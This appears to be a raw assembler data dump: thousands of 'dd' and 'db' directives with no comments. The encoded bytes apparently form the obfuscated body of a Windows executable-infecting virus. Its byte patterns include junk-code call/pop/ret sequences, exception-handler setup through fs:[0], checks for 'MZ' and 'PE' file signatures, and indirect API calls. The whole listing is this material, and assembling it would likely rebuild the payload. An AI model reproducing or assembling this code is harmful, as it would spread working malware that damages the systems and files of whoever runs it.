		dd 0E381FC06h, 100h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 4EC35141h, 60199FD2h,	621142F8h, 8B0BE781h
		dd 0DB0B1C81h, 92850Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BD8BC4C3h, 61E0E45h
		dd 15EBBD83h, 0F000622h, 0B84h,	0E9BD8B00h, 0E9061E1Dh
		dd 62h,	15EB85C7h, 10622h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 5B85A6C3h
		dd 0C7CE816Ch, 0E944C8BAh, 2Eh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 3C35747h, 0B589F14Dh, 61E17F1h
		dd 15EB85C7h, 622h, 9D8D0000h, 61E0459h, 16B5BD89h, 2381061Eh
		dd 0FFFFFEFFh, 11BD0357h, 5F061E1Ch, 27EBBDBFh,	0DB8C6648h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 16C35747h
		dd 69326226h, 32259589h, 0C3F6061Eh, 33840F04h,	0F000000h
		dd 0C81h, 6820F00h, 29000000h, 1E2F39B5h, 8D95FF06h, 8B061E1Ah
		dd 0F38B90FEh, 0FE99050h, 0DD000000h, 5E332F59h, 0F109F4EFh
		dd 84D245C6h, 20E9DC39h, 6A000004h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8ED2C355h
		dd 0DE9h, 0E28CCA00h, 0B4D94EDFh, 435DF728h, 0B0290Fh
		dd 8589F28Bh, 61E179Dh,	0BD8970E6h, 61E092Dh, 8D8971E4h
		dd 61E2E81h, 2E19B503h,	0B60F061Eh, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BAF9CABEh
		dd 6, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Dh
		dd 0E1C35242h, 67C67310h, 1BEA1530h, 6AC38B52h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0FD38C355h, 667DC86Ch, 0C1532ABEh, 6A04E8h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 149909C3h, 4D9C156Ah, 6AE2F766h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 9C6C356h
		dd 1E0E0D95h, 6AD82B06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 984EC351h, 0A3FF59CDh
		dd 0BEF4691Ah, 4B3C3D8Ch, 241C8950h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 3C35545h, 0BA95F9B5h, 9D89752Dh
		dd 61E2299h, 14EDB5FFh,	5E9061Eh, 1E000000h, 59D63327h
		dd 26C195FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 27491BC3h, 52593674h, 6A00B082h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 9B22C357h, 98E17958h, 29EC0C26h, 1E125995h
		dd 6890F06h, 89000000h,	1E3021BDh, 6A70E606h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 323C350h, 8971E4DCh,	1E2F65BDh, 0F613C06h, 21E83h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 470679A7h, 744FB07Fh, 2DD9B529h, 0B60F061Eh,	4D9D89D8h
		dd 0BA061E21h, 6, 6810Fh, 0BD090000h, 61E0CCDh,	6AC38Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 3E32A9C3h, 0BD8BF9ACh, 61E02EDh, 6A04E8C1h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 68DCC350h, 816653F8h, 5FADD8EEh, 51E2F766h, 60D82B5Fh
		dd 16880Fh, 10E80000h, 14000000h, 0C89863ECh, 0BBDE89B9h
		dd 80AD1DE0h, 580462F8h, 32818D89h, 5861061Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0E0C35545h, 2B450039h
		dd 38880FD8h, 0B9000001h, 7, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 6AC35545h, 0FE8BD5E7h, 6A0FBE66h
		dd 6600C183h, 0F2DFDF81h, 38E0Fh, 0B70F0000h, 0FD93BFAh
		dd 0F686h, 0D98C6600h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0A6C35343h, 25B503F9h, 0F6061E08h, 840F04C1h
		dd 0BDh, 5FF18B56h, 1A8D95FFh, 6A061Eh,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 1E2D6DC3h
		dd 0B58B5B0Ah, 61E1F3Dh, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0DBC597C3h
		dd 5880F9Dh, 66000000h,	6487DF81h, 8343Dh, 56860F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FC38C356h, 3EE9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 8DC89CBAh
		dd 0FDE634F0h, 0BE97Ah,	20670000h, 1FCD2E5Fh, 9D52C21Dh
		dd 9C08BA8h, 1E1E798Dh,	8B5F5606h, 6AD88BC3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 89D0C350h, 1E17BD85h, 9DBD8906h, 0C7061E00h,	1E0E6185h
		dd 0A1E91706h, 0FDBD293Fh, 8B061E15h, 52006AC0h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0A1BF8F72h, 8529D03Dh, 61E0045h, 14EDBD81h, 7D0061Eh
		dd 850F0000h, 2Eh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 61C35040h, 14ED85FFh,	8D29061Eh, 61E3239h
		dd 1B15B58Bh, 0B5FF061Eh, 61E14EDh, 30219D29h, 95FF061Eh
		dd 61E26C1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0E5C35343h, 0C5D0695Eh,	8B665B2Eh, 5E9FBh, 50430000h
		dd 9068DFECh, 2AF5B52Bh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8B4782C3h, 8B6653F1h
		dd 0BE9FBh, 1900000h, 2FC7E8AAh, 649A5791h, 6A5E32h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 14166AC3h, 0F632D109h, 39870F15h, 29000000h,	1E054995h
		dd 9E806h, 0DA880000h, 1C5D46B6h, 0E90FA8CAh, 0Dh, 2A34D4C0h
		dd 3F98405Eh, 0A92A0E2h, 0CE818h, 79640000h, 9AFF3A95h
		dd 0B406547Ch, 5F5E877Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 93C35141h, 709A26Fh, 8D898563h, 61E1701h
		dd 1C11BD8Bh, 0D781061Eh, 4E97404Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0E4C35040h,	37732F19h, 0B20B1408h
		dd 0DA78BF06h, 0B58B3E23h, 61E2A89h, 0CE9h, 91B1D500h
		dd 297AF661h, 0C5BEBCFCh, 0F85FE94Ch, 6AFFFFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 38C47AC3h, 25BD890Dh, 89061E33h, 1E2E8DBDh, 5E906h
		dd 0BB120000h, 8B3EA524h, 1E1BF9BDh, 9D896006h,	61E1A15h
		dd 0FFFFFEB9h, 52006AFFh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0AE093BBCh, 0E6BEFE06h
		dd 21090DA7h, 1E15218Dh, 0DD9D8906h, 21061E20h,	1E0DF98Dh
		dd 0BE98BA06h, 8D8B1ADFh, 61E1521h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0D1C35646h,	0B5312B81h, 61E2315h
		dd 0F01E183h, 685h, 218D8900h, 8B061E31h, 1E0DF98Dh, 0D1B70F06h
		dd 2DE5858Bh, 0E183061Eh, 3850F01h, 0F000000h, 6061C2B7h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D4C35141h
		dd 0FFFFFEB9h, 99BD89FFh, 21061E20h, 1E09BD8Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0D0C1D39h, 0E2C7C5DBh, 0D18529h, 8D21061Eh, 61E1FA5h
		dd 0FE8h, 0F677F200h, 58D8AB80h, 403E7E0Ch, 0E1ACCBB8h
		dd 92F78151h, 580D5048h, 0BD8D8B5Ah, 0F061E09h,	689h, 0A5B58B00h
		dd 89061E16h, 1E04298Dh, 1E18306h, 1A850Fh, 50520000h
		dd 11E9h, 6FF86300h, 0D7F78271h, 6A70A5FEh, 24355E59h
		dd 5A5FC5AFh, 1FA58D8Bh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 175136C3h, 0D0580C32h
		dd 11E9h, 6FF86300h, 0D7F78271h, 6A70A5FEh, 24355E59h
		dd 14E8C5AFh, 81000000h, 2FFFF5D9h, 8957D6B9h, 293B1CFCh
		dd 5C475D53h, 8B2DAF3Ch, 1E094195h, 0E1835E06h,	6850F01h
		dd 89000000h, 1E317995h, 0E9606106h, 14h, 4F8F8299h, 4410FCDDh
		dd 0BD6273ECh, 181885E5h, 7D1CBE35h, 0FFFFFEB9h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0BF48C73Bh, 21C531E0h, 1E04598Dh, 11E906h, 47A40000h
		dd 73DED1FDh, 2CF6BB34h, 9A26F93h, 21856307h, 1E07F58Dh
		dd 0C0816606h, 8D8B516Fh, 61E0459h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 46C35343h, 878A624Eh, 8AE381D8h
		dd 834CB06Bh, 850F01E1h, 2Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 63C35646h, 8E9601Eh, 58000000h
		dd 1E9FA151h, 8B500584h, 1E07F58Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0B372F737h
		dd 54E26B01h, 399589DCh, 66061E01h, 9D1FC681h, 0F01E183h
		dd 2885h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0E749DB91h, 89DA8B66h, 1E1DA1BDh
		dd 66606106h, 3D4DA81h,	0FFFFFEB9h, 0B5B860FFh,	616A4CD0h
		dd 0E618D21h, 0BB66061Eh, 8D21A99Dh, 61E226Dh, 9E8h, 0A780A200h
		dd 680A8222h, 10E98254h, 9D000000h, 0C2C7E587h,	6FB8D4E4h
		dd 9F726BB1h, 58727FF9h, 0E618D8Bh, 6A061Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 5FAA7EC3h
		dd 83F8B70Fh, 850F01E1h, 23h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 2C35343h, 79858947h, 8B061E33h
		dd 1E226D8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 74168A4Bh, 8CCEBA66h, 8E8h, 67F15800h
		dd 0C9EEBDF5h, 51958BEDh, 58061E03h, 0F01E183h,	2785h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 514B3A79h, 9503B8D2h, 61E2949h, 6A6061h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0B91BE7C3h, 10517EAh, 8D8985C5h, 61E2DF9h, 5AF2EF81h
		dd 85C727A1h, 61E14EDh,	7D0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 1AC35545h, 9D18D89h, 2356061Eh
		dd 1E25C1B5h, 6A615806h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 9415C355h, 98594C10h
		dd 4DB58BEEh, 0EB061E1Fh, 0E99D6107h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0CEC35747h
		dd 5A77361Ah, 2D1A5F6Ch, 52006A55h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 492FCFF3h, 0AC3008C3h
		dd 9D9B58Bh, 858B061Eh,	61E1CEDh, 75E9C18Bh, 60000000h
		dd 0A8D88C66h, 35840F04h, 6A000000h, 0F1B5FF01h, 8D061E02h
		dd 2178D185h, 89D0FF06h, 1E004185h, 0C1FE8B06h,	680CEFh
		dd 6A200400h, 57026A00h, 1000D68h, 4195FF00h, 0E9061E00h
		dd 32h,	204185C6h, 6856061Eh, 0A9C530DFh, 3291B5FFh, 858D061Eh
		dd 62178D1h, 8589D0FFh,	61E0201h, 2B79858Dh, 6A50061Eh
		dd 56056A20h, 20195FFh,	0C361061Eh, 0BA06E0C1h,	0F00D3000h
		dd 0EA81h, 0C283F000h, 0ED958914h, 83061E1Ah, 858D14EAh
		dd 622254Dh, 35FF6450h,	0
		dd 258964h, 0E8000000h,	0
		db 'X+б%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 0C58589C8h, 3061E0Eh, 0B70F3C40h, 95890650h,	61E2F45h
		dd 8950508Bh, 1E01B995h, 0F80506h, 508B0000h, 89D1030Ch
		dd 1E02E595h, 8500306h,	16659589h, 8F64061Eh, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 3351BD83h, 0F00061Eh, 2484h,	4185C600h, 47061E20h, 9AA7D268h
		dd 91B5FFD4h, 8D061E32h, 2178D185h, 6AD0FF06h, 89D0FF00h
		dd 1E223585h, 60D38B06h, 0E7F78166h, 6AC08B55h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 5755C351h, 8179CEBEh, 5372C0EEh, 51605368h, 3AE9805Ah
		dd 0BD835E61h, 61E1D79h, 83097500h, 1E2B25BDh, 19740006h
		dd 0C08B5350h, 438B8h, 0E9858900h, 8D061E0Ch, 20AC3A9Dh
		dd 5BD3FF06h, 25BD8358h, 61E2Bh, 53501774h, 438B8h, 0E9858900h
		dd 8D061E0Ch, 20A9299Dh, 5BD3FF06h, 6D8D8B58h, 0F061E0Eh
		dd 685h, 11B58B00h, 8B061E22h, 53006AC0h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0C6B190A6h
		dd 4694A05h, 829E81Ch, 81660000h, 89C894E9h, 1E32E585h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E88DEFEDh, 7FBh, 1CA99D31h, 8589061Eh
		dd 61E19CDh, 7EAE8h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0A2FDDE73h, 5B58B7Fh
		dd 89061E02h, 1E331585h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 23990B71h, 1E32798Dh
		dd 94E8FC06h, 60000007h, 29C19D8Bh, 0BD29061Eh,	61E26F9h
		dd 0CD858961h, 0F061E0Dh, 28Fh,	0E8F88B00h, 773h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 72C35242h, 85895984h
		dd 61E2931h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	5EC35343h, 57DD60E4h, 0FA8BA0F6h, 726E8h, 6860F00h
		dd 2B000000h, 1E32418Dh, 0A9858906h, 6A061E0Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0E52EC352h, 17644588h, 0E18023CFh, 0BE92Ah, 0C51C0000h
		dd 7043F0B2h, 18081BB8h, 6D9E845h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 5B395DC3h
		dd 32BF6660h, 598589B4h, 6A061E1Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6665C353h
		dd 0C133F781h, 22BDB58Bh, 84E8061Eh, 6A000006h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 27EC353h, 89B8F400h,	1E147585h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 25BE5D5Fh
		dd 817C6846h, 458612E1h, 631E837h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 10F687C3h
		dd 8B665A7Eh, 158589F1h, 6A061E04h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 965DC352h
		dd 0E102796Bh, 0F526F293h, 2215B589h, 0D8E8061Eh, 6A000005h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 4BD8C355h, 0E58589BFh, 6A061E13h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0C0D8C357h, 815B0824h, 0B54AF8Dh, 9F1B531h, 84E8061Eh
		dd 6A000005h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0BF85C353h, 6642F787h,	0B58589FDh
		dd 6A061E1Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0B3D0C350h, 0DB1E4C7Fh, 6E8EFBCh
		dd 9000000h, 6BF19494h,	9E86032h, 0AF000000h, 878C6525h
		dd 5C5A07BAh, 2DBD8B58h, 61061E19h, 511E859h, 85090000h
		dd 61E1DC9h, 15158589h,	8150061Eh, 0D13923C7h, 0F8E85E18h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 8C0C351h, 41517807h, 14E802h
		dd 0D3490000h, 0A4EEDEB2h, 0E6C86F19h, 1D73FD89h, 4C9C5ECEh
		dd 0F18B9985h, 11858959h, 8B061E2Dh, 1E1581B5h,	4A9E806h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0DC9724C3h, 7ED5C25Eh, 0DE945h, 81650000h
		dd 0A44B3F77h, 9F573C24h, 89E2C6B4h, 1E299185h,	5E806h
		dd 0F60C0000h, 3118A97Fh, 1E1ADD8Dh, 58E85906h,	89000004h
		dd 1E07F985h, 7D858906h, 6A061E32h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 70F3C356h
		dd 71BE6688h, 425E886h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 6AF9C0C3h, 0AE5A6998h
		dd 6673BF51h, 0B4E4F781h, 31B18589h, 0B58B061Eh, 61E1A9Dh
		dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 556FBCC3h, 0EC6D80A8h, 0E8828CEAh, 7, 0DF84A849h
		dd 81CC4470h, 0DFBB7F7h, 0B60F5941h, 3820FD8h, 0F000000h
		dd 6BAF0B7h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0D469C357h,	8BDFC42Fh
		dd 1E2A79B5h, 6AC38B06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 13FCC352h, 3C6F4DE9h
		dd 0C15C6DF0h, 6A04E8h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 75C874C3h, 0BE957h, 41120000h, 23A6FBFDh
		dd 585CC37Dh, 0E2F76680h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0CAC35646h, 36C690C5h, 2B64958Bh, 518D8BD8h
		dd 93061E2Bh, 2880F56h,	60000000h, 93505F61h, 0DE9h, 0FF0B7F00h
		dd 14721E65h, 0E1FEFB75h, 95FF07B7h, 61E1A8Dh, 6840Fh
		dd 0B5330000h, 61E2729h, 0B0B9665Bh, 0F1BD89FBh, 8D061E16h
		dd 1E26DD95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 6B9C0B6Eh, 2B619589h, 1A89061Eh
		dd 6A044289h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0B5CDC357h, 53989A23h,	1B918D89h
		dd 8D5E061Eh, 1E19B995h, 0E58D8B06h, 89061E0Ch,	55006A1Ah
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0E57E75A9h, 66987818h, 850FF28Bh, 11h, 0CE9h, 4BCC7000h
		dd 6C376753h, 709718CAh, 198D290Ch, 89061E16h, 6A0442h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BD8B72C3h, 61E1445h, 2BED958Dh, 9D89061Eh, 61E1791h
		dd 8B661A89h, 44289CFh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 1C35646h, 66590623h, 958DC88Bh, 61E2DF1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 0EC35646h, 858D89EEh, 89061E32h, 57006A1Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 5E959h, 4BCE0000h
		dd 89600925h, 52BF0442h, 8D5DF862h, 1E22A195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0F1BF5476h, 894339DBh, 56006A1Ah, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0F65C611h
		dd 38Ah, 0F6B70F00h, 6A044289h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0EB17C356h,	8D0B57FEh
		dd 61E2EC5h, 4D958D5Fh,	53061E09h, 9E9h, 0F0DC1100h, 0A0E641CDh
		dd 895FABF6h, 0AD95291Ah, 8B061E0Eh, 1E19D5B5h,	4428906h
		dd 8BFFB70Fh, 1E1EFDBDh, 59958D06h, 0E9061E2Ch,	11h, 0FE6D2A5Dh
		dd 44003263h, 21BCB5DCh, 7B5528D2h, 6A1A89E8h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0B4DEC351h, 0BBBA1337h, 89CB9A4Ch, 6A0442h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 9EFAA4C3h, 0CE90Fh, 0A29E0000h, 55822F22h, 734AF6Dh
		dd 958DBBE4h, 61E17F5h,	42891A89h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 21847A73h
		dd 8B91750Ah, 1E1DF1BDh, 58D8B06h, 0E9061E02h, 0C7h, 6AF88B66h
		dd 6880F00h, 89000000h,	1E02EDB5h, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0CA9CC357h, 9ED13D28h, 6A972854h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F73C677h
		dd 85h,	21858900h, 6A061E12h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 68C36983h
		dd 5B165B57h, 858928C7h, 61E0319h, 1E6D95FFh, 0F2B9061Eh
		dd 0C352DA05h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	75C35040h, 10F14B1Ah, 65AADC63h, 59BD29DBh, 8A061E14h
		dd 56006AC5h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0A659E2CEh, 0C08BE6A1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 66C35545h, 56B2BB80h, 0B98D898Bh
		dd 83061E33h, 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh
		dd 8B535019h, 438B8C0h,	85890000h, 61E0D19h, 0ACA19D8Dh
		dd 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h,	438B853h
		dd 85890000h, 61E0D19h,	0A9429D8Dh, 0D3FF0620h,	6A585Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD010AC3h, 61E20C5h, 0E59BD8Bh, 0C08B061Eh,	19DD858Dh
		dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0F85BB1C3h, 0DEB70FB7h, 905FF853h, 16BB6650h
		dd 6A9046h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 8F8DC3h, 6AA00D3Bh, 2DBD8900h, 6A061E1Bh
		dd 0F88B6600h, 3212858Dh, 0CE90622h, 53000000h,	0DAA05AC3h
		dd 0FFDC86DEh, 8391A8CCh, 8B6605C0h, 10E950FEh,	11000000h
		dd 9339E5D9h, 13D9374Ah, 0BD3F19D4h, 898C0FE0h,	6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0CF10ADC3h, 0BF82B582h, 4F8A2268h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0E4A752C3h, 6E86D5Bh, 9B000000h, 20F7F5C1h, 10E88Fh
		dd 69300000h, 8718DAE2h, 73CAE9B6h, 57A2A5E0h, 5F5BC5B5h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 618912C3h, 8D01397Eh, 61E1F7Dh, 53D9D0Bh
		dd 95FF061Eh, 61E21EDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 55C35141h, 2220B451h,	820Fh, 8D8D0000h
		dd 62194B6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	3FC35141h, 48F0Fh, 0BB660000h, 0D1FF9B67h, 5EB8F2BFh
		dd 2DBD833Eh, 1061E27h,	78850Fh, 0E9570000h, 6,	7A67A03Dh
		dd 6A5F3C00h, 0CAEB8102h, 90284E22h, 0A62CBB66h, 4800F50h
		dd 66000000h, 90F288BFh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 17h, 0E5C35242h, 0F3F07D5h, 185h, 95FFF500h
		dd 61E32F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0F5C35646h, 969871C5h, 0D38166B8h, 72E953E9h, 0E800000Dh
		dd 0
		dd 1CED815Dh, 52062232h, 10E8h,	0AB57F800h, 50985B91h
		dd 95FBFA2Bh, 52C38BD4h, 0B19D31F4h, 5B061E01h,	50006A5Bh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 6657B159h, 5F6086BFh, 8DFE858Dh, 80600621h, 9D016CEBh
		dd 61E18E1h, 50605061h,	0F525052h, 0F585A31h, 57BB6631h
		dd 0E8585A77h, 5, 0ACCD3D6Ch, 9576B963h, 615B4206h, 0BF240489h
		dd 4D0146C4h, 35FF64h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 9F42C352h
		dd 5118B489h, 0E95D00E1h, 0Eh, 0ACDBAE84h, 298CD51h, 0AD27E80Ah
		dd 0B70F7CD2h, 258964FAh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 82C35646h
		dd 0E67E04E3h, 330EBE97h, 68D0F8Fh, 2B000000h, 1E0E5D9Dh
		dd 6810F06h, 8B000000h,	1E03BDBDh, 0EBF38106h, 0FF074C1Eh
		dd 1E1D9185h, 859D8906h, 6A061E33h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 7EB1B876h
		dd 100D2B09h, 2B99B589h, 0F60061Eh, 28Ch, 89585100h, 1E14518Dh
		dd 0B5FF6106h, 61E32E5h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0A4C35646h, 0AE904h, 0E660000h, 0E64CE7EBh
		dd 4B74AA05h, 5559D01h,	95FF061Eh, 61E1655h, 10FE9h, 6D9D8B00h
		dd 0E9061E12h, 6, 97BAF70Fh, 0B0C8E2h, 12E9h, 0C175BA00h
		dd 9633670Fh, 0FBD675F1h, 0D5B40441h, 0E67FECF0h, 0F7816670h
